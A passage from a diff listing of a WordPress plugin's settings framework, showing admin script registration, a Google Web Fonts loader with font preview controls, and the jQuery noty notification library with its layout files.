+ wp_enqueue_script('wpdreams-others');
1351
+ wp_enqueue_script('jquery-ui-tabs');
1352
+ wp_enqueue_script('jquery-ui-sortable');
1353
+ wp_enqueue_script('jquery-ui-draggable');
1354
+ wp_register_script('wpdreams-upload', plugin_dir_url(__FILE__) . '/types/upload.js', array(
1355
+ 'jquery',
1356
+ 'media-upload',
1357
+ 'thickbox'
1358
+ ));
1359
+ wp_enqueue_script('wpdreams-upload');
1360
+ wp_register_script('wpdreams-noty', plugin_dir_url(__FILE__) . '/types/js/noty/jquery.noty.js', array(
1361
+ 'jquery'
1362
+ ));
1363
+ wp_enqueue_script('wpdreams-noty');
1364
+ wp_register_script('wpdreams-notylayout', plugin_dir_url(__FILE__) . '/types/js/noty/layouts/top.js', array(
1365
+ 'wpdreams-noty'
1366
+ ));
1367
+ wp_enqueue_script('wpdreams-notylayout');
1368
+ wp_register_script('wpdreams-notytheme', plugin_dir_url(__FILE__) . '/types/js/noty/themes/default.js', array(
1369
+ 'wpdreams-noty'
1370
+ ));
1371
+ wp_enqueue_script('wpdreams-notytheme');
1372
+ wp_register_script('wpdreams-jquerytooltip', 'http://cdn.jquerytools.org/1.2.7/all/jquery.tools.min.js', array(
1373
+ 'jquery'
1374
+ ));
1375
+ wp_enqueue_script('wpdreams-jquerytooltip');
1376
+ }
1377
+ function admin_stylesV02t() {
1378
+ wp_enqueue_style('thickbox');
1379
+ wp_enqueue_style('farbtastic');
1380
+ wp_register_style('wpdreams-jqueryui', 'http://code.jquery.com/ui/1.9.1/themes/base/jquery-ui.css');
1381
+ wp_enqueue_style('wpdreams-jqueryui');
1382
+ wp_register_style('wpdreams-style', plugin_dir_url(__FILE__) . '/types/style.css');
1383
+ wp_enqueue_style('wpdreams-style');
1384
+ }
1385
+ /* Extra Functions */
1386
+ if (!function_exists("isEmpty")) {
1387
+ function isEmpty($v) {
1388
+ if (trim($v) != "")
1389
+ return false;
1390
+ else
1391
+ return true;
1392
+ }
1393
+ }
1394
+
1395
+ if (!function_exists("in_array_r")) {
1396
+ function in_array_r($needle, $haystack, $strict = true) {
1397
+ foreach ($haystack as $item) {
1398
+ if (($strict ? $item === $needle : $item == $needle) || (is_array($item) && in_array_r($needle, $item, $strict))) {
1399
+ return true;
1400
+ }
1401
+ }
1402
+
1403
+ return false;
1404
+ }
1405
+ }
1406
+ ?>
settings/types/fonts.js ADDED
@@ -0,0 +1,167 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ function loadFonts(family) {
2
+ var fonts = new Array(
3
+ 'Allan:400,700',
4
+ 'Allerta:400,700',
5
+ 'Allerta+Stencil:400,700',
6
+ 'Anonymous+Pro:400,700',
7
+ 'Arimo:400,700',
8
+ 'Arvo:400,700',
9
+ 'Bentham:400,700',
10
+ 'Buda:400,700',
11
+ 'Cabin:400,700',
12
+ 'Calligraffitti:400,700',
13
+ 'Cantarell:400,700',
14
+ 'Cardo:400,700',
15
+ 'Cherry+Cream+Soda:400,700',
16
+ 'Chewy:400,700',
17
+ 'Coda:400,700',
18
+ 'Coming+Soon:400,700',
19
+ 'Copse:400,700',
20
+ 'Corben:400,700',
21
+ 'Cousine:400,700',
22
+ 'Covered+By+Your+Grace:400,700',
23
+ 'Crafty+Girls:400,700',
24
+ 'Crimson+Text:400,700',
25
+ 'Crushed:400,700',
26
+ 'Cuprum:400,700',
27
+ 'Droid+Sans:400,700',
28
+ 'Droid+Sans+Mono:400,700',
29
+ 'Droid+Serif:400,700',
30
+ 'Fontdiner+Swanky:400,700',
31
+ 'GFS+Didot:400,700',
32
+ 'GFS+Neohellenic:400,700',
33
+ 'Geo:400,700',
34
+ 'Gruppo:400,700',
35
+ 'Hanuman:400,700',
36
+ 'Homemade+Apple:400,700',
37
+ 'IM+Fell+DW+Pica:400,700',
38
+ 'IM+Fell+DW+Pica+SC:400,700',
39
+ 'IM+Fell+Double+Pica:400,700',
40
+ 'IM+Fell+Double+Pica+SC:400,700',
41
+ 'IM+Fell+English:400,700',
42
+ 'IM+Fell+English+SC:400,700',
43
+ 'IM+Fell+French+Canon:400,700',
44
+ 'IM+Fell+French+Canon+SC:400,700',
45
+ 'IM+Fell+Great+Primer:400,700',
46
+ 'IM+Fell+Great+Primer+SC:400,700',
47
+ 'Inconsolata:400,700',
48
+ 'Irish+Growler:400,700',
49
+ 'Josefin+Sans:400,700',
50
+ 'Josefin+Slab:400,700',
51
+ 'Just+Another+Hand:400,700',
52
+ 'Just+Me+Again+Down+Here:400,700',
53
+ 'Kenia:400,700',
54
+ 'Kranky:400,700',
55
+ 'Kristi:400,700',
56
+ 'Lato:400,700',
57
+ 'Lekton:400,700',
58
+ 'Lobster:400,700',
59
+ 'Luckiest+Guy:400,700',
60
+ 'Merriweather:400,700',
61
+ 'Molengo:400,700',
62
+ 'Mountains+of+Christmas:400,700',
63
+ 'Neucha:400,700',
64
+ 'Neuton:400,700',
65
+ 'Nobile:400,700',
66
+ 'OFL+Sorts+Mill+Goudy+TT:400,700',
67
+ 'Old+Standard+TT:400,700',
68
+ 'Orbitron:400,700',
69
+ 'PT+Sans:400,700',
70
+ 'PT+Sans+Caption:400,700',
71
+ 'PT+Sans+Narrow:400,700',
72
+ 'Permanent+Marker:400,700',
73
+ 'Philosopher:400,700',
74
+ 'Puritan:400,700',
75
+ 'Raleway:400,700',
76
+ 'Reenie+Beanie:400,700',
77
+ 'Rock+Salt:400,700',
78
+ 'Schoolbell:400,700',
79
+ 'Slackey:400,700',
80
+ 'Sniglet:400,700',
81
+ 'Sunshiney:400,700',
82
+ 'Syncopate:400,700',
83
+ 'Tangerine:400,700',
84
+ 'Tinos:400,700',
85
+ 'Ubuntu:400,700',
86
+ 'UnifrakturCook:400,700',
87
+ 'UnifrakturMaguntia:400,700',
88
+ 'Unkempt:400,700',
89
+ 'Vibur:400,700',
90
+ 'Vollkorn:400,700',
91
+ 'Walter+Turncoat:400,700',
92
+ 'Yanone+Kaffeesatz:400,700'
93
+ );
94
+ WebFontConfig = {
95
+ google: { families: [family+":400,700"] }
96
+ };
97
+ (function() {
98
+ var wf = document.createElement('script');
99
+ wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
100
+ '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
101
+ wf.type = 'text/javascript';
102
+ wf.async = 'true';
103
+ var s = document.getElementsByTagName('script')[0];
104
+ s.parentNode.insertBefore(wf, s);
105
+ })();
106
+ }
107
+ (function($) {
108
+ jQuery(document).ready(function() {
109
+ });
110
+ jQuery(".wpdreamsfont").change(function() {
111
+ var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
112
+ jQuery(weightNode).trigger('change');
113
+ return;
114
+ });
115
+ jQuery(".color").change(function() {
116
+ var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
117
+ jQuery(weightNode).trigger('change');
118
+ return;
119
+ });
120
+ jQuery(".wpdreams-fontsize").change(function() {
121
+ var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
122
+ jQuery(weightNode).trigger('change');
123
+ return;
124
+ });
125
+ jQuery(".wpdreamsfont").keypress(function() {
126
+ jQuery(this).change();
127
+ });
128
+ jQuery(".wpdreams-lineheight").change(function() {
129
+ var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
130
+ jQuery(weightNode).trigger('change');
131
+ });
132
+ jQuery('.wpdreans-fontweight').change(function() {
133
+ var weight = "font-weight:"+jQuery(this).val()+";";
134
+ var familyNode = jQuery('.wpdreamsfont', this.parentNode)[0];
135
+ var colorNode = jQuery('.color', this.parentNode)[0];
136
+ var sizeNode = jQuery('.wpdreams-fontsize', this.parentNode)[0];
137
+ var lhNode = jQuery('.wpdreams-lineheight', this.parentNode)[0];
138
+
139
+ var family = "font-family:"+jQuery(familyNode).val()+";";
140
+ var color = "color:"+jQuery(colorNode).val()+";";
141
+ var size = "font-size:"+jQuery(sizeNode).val()+";";
142
+ var lh = "line-height:"+jQuery(lhNode).val()+";";
143
+
144
+ loadFonts(jQuery(familyNode).val());
145
+ jQuery("label", this.parentNode).css("font-family", jQuery(familyNode).val());
146
+ jQuery("label", this.parentNode).css("font-weight", jQuery(this).val());
147
+ jQuery("label", this.parentNode).css("color", jQuery(colorNode).val());
148
+ jQuery("input[type=hidden]", this.parentNode).val("font-weight:"+jQuery(this).val()+";"+family+color+size+lh);
149
+ });
150
+
151
+
152
+ $(".wpdreamsFont>fieldset>.triggerer").click(function() {
153
+ var parent = $(this).parent();
154
+
155
+ var hidden = $('input[type=hidden]', parent);
156
+ var val = hidden.val().replace(/(\r\n|\n|\r)/gm,"");
157
+ var familyNode = jQuery('.wpdreamsfont', parent)[0];
158
+ var colorNode = jQuery('.color', parent)[0];
159
+ var sizeNode = jQuery('.wpdreams-fontsize', parent)[0];
160
+ var lhNode = jQuery('.wpdreams-lineheight', this.parentNode)[0];
161
+
162
+ $(familyNode).val(val.match(/family:(.*?);/)[1]);
163
+ $(sizeNode).val(val.match(/size:(.*?);/)[1]);
164
+ $(colorNode).val(val.match(/color:(.*?);/)[1]);
165
+ $(lhNode).val(val.match(/height:(.*?);/)[1]);
166
+ });
167
+ }(jQuery));
settings/types/icons/arrow-left.png ADDED
Binary file
settings/types/icons/arrow-right.png ADDED
Binary file
settings/types/icons/black_arrow.png ADDED
Binary file
settings/types/icons/close.png ADDED
Binary file
settings/types/icons/delete.png ADDED
Binary file
settings/types/icons/down.png ADDED
Binary file
settings/types/icons/drag.png ADDED
Binary file
settings/types/icons/float.png ADDED
Binary file
settings/types/icons/info.png ADDED
Binary file
settings/types/icons/labelposition.png ADDED
Binary file
settings/types/icons/loading-big.gif ADDED
Binary file
settings/types/icons/paint.png ADDED
Binary file
settings/types/icons/point.png ADDED
Binary file
settings/types/icons/settings.png ADDED
Binary file
settings/types/icons/slides.png ADDED
Binary file
settings/types/icons/up.png ADDED
Binary file
settings/types/js/noty/jquery.noty.js ADDED
@@ -0,0 +1,517 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /**
2
+ * noty - jQuery Notification Plugin v2.0.3
3
+ * Contributors: https://github.com/needim/noty/graphs/contributors
4
+ *
5
+ * Examples and Documentation - http://needim.github.com/noty/
6
+ *
7
+ * Licensed under the MIT licenses:
8
+ * http://www.opensource.org/licenses/mit-license.php
9
+ *
10
+ **/
11
+
12
+ if (typeof Object.create !== 'function') {
13
+ Object.create = function (o) {
14
+ function F() {
15
+ }
16
+
17
+ F.prototype = o;
18
+ return new F();
19
+ };
20
+ }
21
+
22
+ (function ($) {
23
+
24
+ var NotyObject = {
25
+
26
+ init:function (options) {
27
+
28
+ // Mix in the passed in options with the default options
29
+ this.options = $.extend({}, $.noty.defaults, options);
30
+
31
+ this.options.layout = (this.options.custom) ? $.noty.layouts['inline'] : $.noty.layouts[this.options.layout];
32
+ this.options.theme = $.noty.themes[this.options.theme];
33
+
34
+ delete options.layout;
35
+ delete options.theme;
36
+
37
+ this.options = $.extend({}, this.options, this.options.layout.options);
38
+ this.options.id = 'noty_' + (new Date().getTime() * Math.floor(Math.random() * 1000000));
39
+
40
+ this.options = $.extend({}, this.options, options);
41
+
42
+ // Build the noty dom initial structure
43
+ this._build();
44
+
45
+ // return this so we can chain/use the bridge with less code.
46
+ return this;
47
+ }, // end init
48
+
49
+ _build:function () {
50
+
51
+ // Generating noty bar
52
+ var $bar = $('<div class="noty_bar"></div>').attr('id', this.options.id);
53
+ $bar.append(this.options.template).find('.noty_text').html(this.options.text);
54
+
55
+ this.$bar = (this.options.layout.parent.object !== null) ? $(this.options.layout.parent.object).css(this.options.layout.parent.css).append($bar) : $bar;
56
+
57
+ // Set buttons if available
58
+ if (this.options.buttons) {
59
+
60
+ // If we have button disable closeWith & timeout options
61
+ this.options.closeWith = [];
62
+ this.options.timeout = false;
63
+
64
+ var $buttons = $('<div/>').addClass('noty_buttons');
65
+
66
+ (this.options.layout.parent.object !== null) ? this.$bar.find('.noty_bar').append($buttons) : this.$bar.append($buttons);
67
+
68
+ var self = this;
69
+
70
+ $.each(this.options.buttons, function (i, button) {
71
+ var $button = $('<button/>').addClass((button.addClass) ? button.addClass : 'gray').html(button.text)
72
+ .appendTo(self.$bar.find('.noty_buttons'))
73
+ .bind('click', function () {
74
+ if ($.isFunction(button.onClick)) {
75
+ button.onClick.call($button, self);
76
+ }
77
+ });
78
+ });
79
+ }
80
+
81
+ // For easy access
82
+ this.$message = this.$bar.find('.noty_message');
83
+ this.$closeButton = this.$bar.find('.noty_close');
84
+ this.$buttons = this.$bar.find('.noty_buttons');
85
+
86
+ $.noty.store[this.options.id] = this; // store noty for api
87
+
88
+ }, // end _build
89
+
90
+ show:function () {
91
+
92
+ var self = this;
93
+
94
+ $(self.options.layout.container.selector).append(self.$bar);
95
+
96
+ self.options.theme.style.apply(self);
97
+
98
+ ($.type(self.options.layout.css) === 'function') ? this.options.layout.css.apply(self.$bar) : self.$bar.css(this.options.layout.css || {});
99
+
100
+ self.$bar.addClass(self.options.layout.addClass);
101
+
102
+ self.options.layout.container.style.apply($(self.options.layout.container.selector));
103
+
104
+ self.options.theme.callback.onShow.apply(this);
105
+
106
+ if ($.inArray('click', self.options.closeWith) > -1)
107
+ self.$bar.css('cursor', 'pointer').one('click', function () {
108
+ self.close();
109
+ });
110
+
111
+ if ($.inArray('hover', self.options.closeWith) > -1)
112
+ self.$bar.one('mouseenter', function () {
113
+ self.close();
114
+ });
115
+
116
+ if ($.inArray('button', self.options.closeWith) > -1)
117
+ self.$closeButton.one('click', function () {
118
+ self.close();
119
+ });
120
+
121
+ if ($.inArray('button', self.options.closeWith) == -1)
122
+ self.$closeButton.remove();
123
+
124
+ if (self.options.callback.onShow)
125
+ self.options.callback.onShow.apply(self);
126
+
127
+ self.$bar.animate(
128
+ self.options.animation.open,
129
+ self.options.animation.speed,
130
+ self.options.animation.easing,
131
+ function () {
132
+ if (self.options.callback.afterShow) self.options.callback.afterShow.apply(self);
133
+ self.shown = true;
134
+ });
135
+
136
+ // If noty is have a timeout option
137
+ if (self.options.timeout)
138
+ self.$bar.delay(self.options.timeout).promise().done(function () {
139
+ self.close();
140
+ });
141
+
142
+ return this;
143
+
144
+ }, // end show
145
+
146
+ close:function () {
147
+
148
+ if (this.closed) return;
149
+
150
+ var self = this;
151
+
152
+ if (!this.shown) { // If we are still waiting in the queue just delete from queue
153
+ var queue = [];
154
+ $.each($.noty.queue, function (i, n) {
155
+ if (n.options.id != self.options.id) {
156
+ queue.push(n);
157
+ }
158
+ });
159
+ $.noty.queue = queue;
160
+ return;
161
+ }
162
+
163
+ self.$bar.addClass('i-am-closing-now');
164
+
165
+ if (self.options.callback.onClose) {
166
+ self.options.callback.onClose.apply(self);
167
+ }
168
+
169
+ self.$bar.clearQueue().stop().animate(
170
+ self.options.animation.close,
171
+ self.options.animation.speed,
172
+ self.options.animation.easing,
173
+ function () {
174
+ if (self.options.callback.afterClose) self.options.callback.afterClose.apply(self);
175
+ })
176
+ .promise().done(function () {
177
+
178
+ // Modal Cleaning
179
+ if (self.options.modal) {
180
+ $.notyRenderer.setModalCount(-1);
181
+ if ($.notyRenderer.getModalCount() == 0) $('.noty_modal').fadeOut('fast', function () {
182
+ $(this).remove();
183
+ });
184
+ }
185
+
186
+ // Layout Cleaning
187
+ $.notyRenderer.setLayoutCountFor(self, -1);
188
+ if ($.notyRenderer.getLayoutCountFor(self) == 0) $(self.options.layout.container.selector).remove();
189
+
190
+ self.$bar.remove();
191
+ self.$bar = null;
192
+ self.closed = true;
193
+
194
+ delete $.noty.store[self.options.id]; // deleting noty from store
195
+
196
+ self.options.theme.callback.onClose.apply(self);
197
+
198
+ if (!self.options.dismissQueue) {
199
+ // Queue render
200
+ $.noty.ontap = true;
201
+
202
+ $.notyRenderer.render();
203
+ }
204
+
205
+ });
206
+
207
+ }, // end close
208
+
209
+ setText:function (text) {
210
+ if (!this.closed) {
211
+ this.options.text = text;
212
+ this.$bar.find('.noty_text').html(text);
213
+ }
214
+ return this;
215
+ },
216
+
217
+ setType:function (type) {
218
+ if (!this.closed) {
219
+ this.options.type = type;
220
+ this.options.theme.style.apply(this);
221
+ this.options.theme.callback.onShow.apply(this);
222
+ }
223
+ return this;
224
+ },
225
+
226
+ setTimeout:function (time) {
227
+ if (!this.closed) {
228
+ var self = this;
229
+ this.options.timeout = time;
230
+ self.$bar.delay(self.options.timeout).promise().done(function () {
231
+ self.close();
232
+ });
233
+ }
234
+ return this;
235
+ },
236
+
237
+ closed:false,
238
+ shown:false
239
+
240
+ }; // end NotyObject
241
+
242
+ $.notyRenderer = {};
243
+
244
+ $.notyRenderer.init = function (options) {
245
+
246
+ // Renderer creates a new noty
247
+ var notification = Object.create(NotyObject).init(options);
248
+
249
+ (notification.options.force) ? $.noty.queue.unshift(notification) : $.noty.queue.push(notification);
250
+
251
+ $.notyRenderer.render();
252
+
253
+ return ($.noty.returns == 'object') ? notification : notification.options.id;
254
+ };
255
+
256
+ $.notyRenderer.render = function () {
257
+
258
+ var instance = $.noty.queue[0];
259
+
260
+ if ($.type(instance) === 'object') {
261
+ if (instance.options.dismissQueue) {
262
+ $.notyRenderer.show($.noty.queue.shift());
263
+ } else {
264
+ if ($.noty.ontap) {
265
+ $.notyRenderer.show($.noty.queue.shift());
266
+ $.noty.ontap = false;
267
+ }
268
+ }
269
+ } else {
270
+ $.noty.ontap = true; // Queue is over
271
+ }
272
+
273
+ };
274
+
275
+ $.notyRenderer.show = function (notification) {
276
+
277
+ if (notification.options.modal) {
278
+ $.notyRenderer.createModalFor(notification);
279
+ $.notyRenderer.setModalCount(+1);
280
+ }
281
+
282
+ // Where is the container?
283
+ if ($(notification.options.layout.container.selector).length == 0) {
284
+ if (notification.options.custom) {
285
+ notification.options.custom.append($(notification.options.layout.container.object).addClass('i-am-new'));
286
+ } else {
287
+ $('body').append($(notification.options.layout.container.object).addClass('i-am-new'));
288
+ }
289
+ } else {
290
+ $(notification.options.layout.container.selector).removeClass('i-am-new');
291
+ }
292
+
293
+ $.notyRenderer.setLayoutCountFor(notification, +1);
294
+
295
+ notification.show();
296
+ };
297
+
298
+ $.notyRenderer.createModalFor = function (notification) {
299
+ if ($('.noty_modal').length == 0)
300
+ $('<div/>').addClass('noty_modal').data('noty_modal_count', 0).css(notification.options.theme.modal.css).prependTo($('body')).fadeIn('fast');
301
+ };
302
+
303
+ $.notyRenderer.getLayoutCountFor = function (notification) {
304
+ return $(notification.options.layout.container.selector).data('noty_layout_count') || 0;
305
+ };
306
+
307
+ $.notyRenderer.setLayoutCountFor = function (notification, arg) {
308
+ return $(notification.options.layout.container.selector).data('noty_layout_count', $.notyRenderer.getLayoutCountFor(notification) + arg);
309
+ };
310
+
311
+ $.notyRenderer.getModalCount = function () {
312
+ return $('.noty_modal').data('noty_modal_count') || 0;
313
+ };
314
+
315
+ $.notyRenderer.setModalCount = function (arg) {
316
+ return $('.noty_modal').data('noty_modal_count', $.notyRenderer.getModalCount() + arg);
317
+ };
318
+
319
+ // This is for custom container
320
+ $.fn.noty = function (options) {
321
+ options.custom = $(this);
322
+ return $.notyRenderer.init(options);
323
+ };
324
+
325
+ $.noty = {};
326
+ $.noty.queue = [];
327
+ $.noty.ontap = true;
328
+ $.noty.layouts = {};
329
+ $.noty.themes = {};
330
+ $.noty.returns = 'object';
331
+ $.noty.store = {};
332
+
333
+ $.noty.get = function (id) {
334
+ return $.noty.store.hasOwnProperty(id) ? $.noty.store[id] : false;
335
+ };
336
+
337
+ $.noty.close = function (id) {
338
+ return $.noty.get(id) ? $.noty.get(id).close() : false;
339
+ };
340
+
341
+ $.noty.setText = function (id, text) {
342
+ return $.noty.get(id) ? $.noty.get(id).setText(text) : false;
343
+ };
344
+
345
+ $.noty.setType = function (id, type) {
346
+ return $.noty.get(id) ? $.noty.get(id).setType(type) : false;
347
+ };
348
+
349
+ $.noty.clearQueue = function () {
350
+ $.noty.queue = [];
351
+ };
352
+
353
+ $.noty.closeAll = function () {
354
+ $.noty.clearQueue();
355
+ $.each($.noty.store, function (id, noty) {
356
+ noty.close();
357
+ });
358
+ };
359
+
360
+ var windowAlert = window.alert;
361
+
362
+ $.noty.consumeAlert = function (options) {
363
+ window.alert = function (text) {
364
+ if (options)
365
+ options.text = text;
366
+ else
367
+ options = {text:text};
368
+
369
+ $.notyRenderer.init(options);
370
+ };
371
+ };
372
+
373
+ $.noty.stopConsumeAlert = function () {
374
+ window.alert = windowAlert;
375
+ };
376
+
377
+ $.noty.defaults = {
378
+ layout:'top',
379
+ theme:'defaultTheme',
380
+ type:'alert',
381
+ text:'',
382
+ dismissQueue:true,
383
+ template:'<div class="noty_message"><span class="noty_text"></span><div class="noty_close"></div></div>',
384
+ animation:{
385
+ open:{height:'toggle'},
386
+ close:{height:'toggle'},
387
+ easing:'swing',
388
+ speed:500
389
+ },
390
+ timeout:false,
391
+ force:false,
392
+ modal:false,
393
+ closeWith:['click'],
394
+ callback:{
395
+ onShow:function () {
396
+ },
397
+ afterShow:function () {
398
+ },
399
+ onClose:function () {
400
+ },
401
+ afterClose:function () {
402
+ }
403
+ },
404
+ buttons:false
405
+ };
406
+
407
+ $(window).resize(function () {
408
+ $.each($.noty.layouts, function (index, layout) {
409
+ layout.container.style.apply($(layout.container.selector));
410
+ });
411
+ });
412
+
413
+ })(jQuery);
414
+
415
+ // Helpers
416
+ function noty(options) {
417
+
418
+ // This is for BC - Will be deleted on v2.2.0
419
+ var using_old = 0
420
+ , old_to_new = {
421
+ 'animateOpen':'animation.open',
422
+ 'animateClose':'animation.close',
423
+ 'easing':'animation.easing',
424
+ 'speed':'animation.speed',
425
+ 'onShow':'callback.onShow',
426
+ 'onShown':'callback.afterShow',
427
+ 'onClose':'callback.onClose',
428
+ 'onClosed':'callback.afterClose'
429
+ };
430
+
431
+ jQuery.each(options, function (key, value) {
432
+ if (old_to_new[key]) {
433
+ using_old++;
434
+ var _new = old_to_new[key].split('.');
435
+
436
+ if (!options[_new[0]]) options[_new[0]] = {};
437
+
438
+ options[_new[0]][_new[1]] = (value) ? value : function () {
439
+ };
440
+ delete options[key];
441
+ }
442
+ });
443
+
444
+ if (!options.closeWith) {
445
+ options.closeWith = jQuery.noty.defaults.closeWith;
446
+ }
447
+
448
+ if (options.hasOwnProperty('closeButton')) {
449
+ using_old++;
450
+ if (options.closeButton) options.closeWith.push('button');
451
+ delete options.closeButton;
452
+ }
453
+
454
+ if (options.hasOwnProperty('closeOnSelfClick')) {
455
+ using_old++;
456
+ if (options.closeOnSelfClick) options.closeWith.push('click');
457
+ delete options.closeOnSelfClick;
458
+ }
459
+
460
+ if (options.hasOwnProperty('closeOnSelfOver')) {
461
+ using_old++;
462
+ if (options.closeOnSelfOver) options.closeWith.push('hover');
463
+ delete options.closeOnSelfOver;
464
+ }
465
+
466
+ if (options.hasOwnProperty('custom')) {
467
+ using_old++;
468
+ if (options.custom.container != 'null') options.custom = options.custom.container;
469
+ }
470
+
471
+ if (options.hasOwnProperty('cssPrefix')) {
472
+ using_old++;
473
+ delete options.cssPrefix;
474
+ }
475
+
476
+ if (options.theme == 'noty_theme_default') {
477
+ using_old++;
478
+ options.theme = 'defaultTheme';
479
+ }
480
+
481
+ if (!options.hasOwnProperty('dismissQueue')) {
482
+ if (options.layout == 'topLeft'
483
+ || options.layout == 'topRight'
484
+ || options.layout == 'bottomLeft'
485
+ || options.layout == 'bottomRight') {
486
+ options.dismissQueue = true;
487
+ } else {
488
+ options.dismissQueue = false;
489
+ }
490
+ }
491
+
492
+ if (options.buttons) {
493
+ jQuery.each(options.buttons, function (i, button) {
494
+ if (button.click) {
495
+ using_old++;
496
+ button.onClick = button.click;
497
+ delete button.click;
498
+ }
499
+ if (button.type) {
500
+ using_old++;
501
+ button.addClass = button.type;
502
+ delete button.type;
503
+ }
504
+ });
505
+ }
506
+
507
+ if (using_old) {
508
+ if (typeof console !== "undefined" && console.warn) {
509
+ console.warn('You are using noty v2 with v1.x.x options. @deprecated until v2.2.0 - Please update your options.');
510
+ }
511
+ }
512
+
513
+ // console.log(options);
514
+ // End of the BC
515
+
516
+ return jQuery.notyRenderer.init(options);
517
+ }
settings/types/js/noty/layouts/bottom.js ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.bottom = {
4
+ name: 'bottom',
5
+ options: {},
6
+ container: {
7
+ object: '<ul id="noty_bottom_layout_container" />',
8
+ selector: 'ul#noty_bottom_layout_container',
9
+ style: function() {
10
+ $(this).css({
11
+ bottom: 0,
12
+ left: '5%',
13
+ position: 'fixed',
14
+ width: '90%',
15
+ height: 'auto',
16
+ margin: 0,
17
+ padding: 0,
18
+ listStyleType: 'none',
19
+ zIndex: 9999999
20
+ });
21
+ }
22
+ },
23
+ parent: {
24
+ object: '<li />',
25
+ selector: 'li',
26
+ css: {}
27
+ },
28
+ css: {
29
+ display: 'none'
30
+ },
31
+ addClass: ''
32
+ };
33
+
34
+ })(jQuery);
settings/types/js/noty/layouts/bottomCenter.js ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.bottomCenter = {
4
+ name: 'bottomCenter',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_bottomCenter_layout_container" />',
10
+ selector: 'ul#noty_bottomCenter_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ bottom: 20,
14
+ left: 0,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ $(this).css({
25
+ left: ($(window).width() - $(this).outerWidth()) / 2 + 'px'
26
+ });
27
+ }
28
+ },
29
+ parent: {
30
+ object: '<li />',
31
+ selector: 'li',
32
+ css: {}
33
+ },
34
+ css: {
35
+ display: 'none',
36
+ width: '310px'
37
+ },
38
+ addClass: ''
39
+ };
40
+
41
+ })(jQuery);
settings/types/js/noty/layouts/bottomLeft.js ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;(function($) {
2
+
3
+ $.noty.layouts.bottomLeft = {
4
+ name: 'bottomLeft',
5
+ options: { // overrides options
6
+
7
+ },
8
+ container: {
9
+ object: '<ul id="noty_bottomLeft_layout_container" />',
10
+ selector: 'ul#noty_bottomLeft_layout_container',
11
+ style: function() {
12
+ $(this).css({
13
+ bottom: 20,
14
+ left: 20,
15
+ position: 'fixed',
16
+ width: '310px',
17
+ height: 'auto',
18
+ margin: 0,
19
+ padding: 0,
20
+ listStyleType: 'none',
21
+ zIndex: 10000000
22
+ });
23
+
24
+ if (window.innerWidth < 600) {
25
